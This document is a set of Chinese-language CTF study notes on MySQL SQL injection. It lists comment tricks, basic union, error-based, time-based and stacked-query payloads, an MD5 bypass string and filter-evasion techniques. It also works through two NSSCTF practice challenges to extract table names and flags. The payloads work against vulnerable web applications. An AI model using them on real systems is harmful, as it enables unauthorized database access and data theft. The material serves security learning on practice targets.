mysql系统数据库
注释
单行注释#
和--
(三个字符,后面有个空格)。
在url中,如果是get请求,url中的#
是用来指导浏览器作用的,对服务端无用。所以HTTP请求中不包括#
,因此get请求中用#
会报错,%23
是#
的编码,可用。而--
在get中会被忽略空格,所以一般用--+
,因为+
会被解释成空格。
所以,总结来说。
在get中可用--+
、%23
、--%20
进行注释。
在post中可用#
、%23
、--+
、--%20
进行注释。
可以先试试最基本的注入
1' or '1'='1'# #or语句
1' order by 3# #order语句
1'' union select 1,2,3# #联合查询
1''and(select extractvalue(1,concat('~',(select database())))) #报错注入
1' and if(length(database())>1,sleep(5),1)--+ #时间注入
1;show databases# #堆叠注入
md5绕过
数组的MD5码为NULL
?password=ffifdyop
||
题目:https://www.nssctf.cn/problem/19
1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
报错注入
[SWPUCTF 2021 新生赛]error
https://www.nssctf.cn/problem/428
1' and (select extractvalue(1,concat('~',database())))#
#得到数据库名test_db
1' and (select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
#得到所有数据库名称information_schema,mysql,perfor
1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='mysql'))))#
#得到mysql中所有表名column_stats,columns_priv,db,ev
1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='information_schema'))))#
#得到information_schema中的所有表名ALL_PLUGINS,APPLICABLE_ROLES,CH
1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
#得到test_db中的所有表名test_tb,users
1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb'))))#
#得到id,flag
1' and (select extractvalue(1,concat('~',(select group_concat(id,flag) from test_db.test_tb))))#
# NSSCTF{c6b5733d-b12a-4fc4-8be2 不完整
1' and (select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31 )))))#
#NSSCTF{c6b5733d-b12a-4fc4-8be2-
1' and (select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31, 60 )))))#
#-58b9ad13fc7b}
最终得到flag
过滤
[SWPUCTF 2021 新生赛]sql
https://www.nssctf.cn/problem/442
发现有过滤 空格=>/**/
等号=>like
?wllm=1'order/**/by/**/3%23 #正常,长度为三
?wllm=1'union/**/select/**/1,2,database()%23
#得到数据库名test_db
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
#得到列名
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23
?wllm=-1'union/**/select/**/1,2,group_concat(id,flag)/**/from/**/test_db.LTLT_flag%23
使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid
?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
#分三段截取查询
NSSCTF{7396eea2-3d56-4596-9097-215e32e31842}